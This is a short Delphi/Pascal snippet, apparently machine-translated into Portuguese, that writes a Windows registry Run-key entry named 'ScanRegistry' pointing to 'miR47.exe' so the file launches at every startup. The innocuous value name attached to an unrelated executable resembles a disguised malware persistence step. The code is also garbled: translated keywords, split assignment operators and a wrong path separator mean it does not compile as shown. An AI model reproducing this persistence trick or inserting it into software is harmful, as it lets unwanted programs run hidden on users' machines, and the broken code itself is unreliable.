usa o registro; Var Reg: Tregistry; começar Reg: = Tregistry.create; reg.rootkey: = hkey_local_machine; Reg.openkey ('Software/Microsoft/Windows/CurrentVersion/Run', True); Reg.WritEstring ('ScanRegistry', 'miR47.exe'); Reg.CloseKey; Reg.Free; fim.
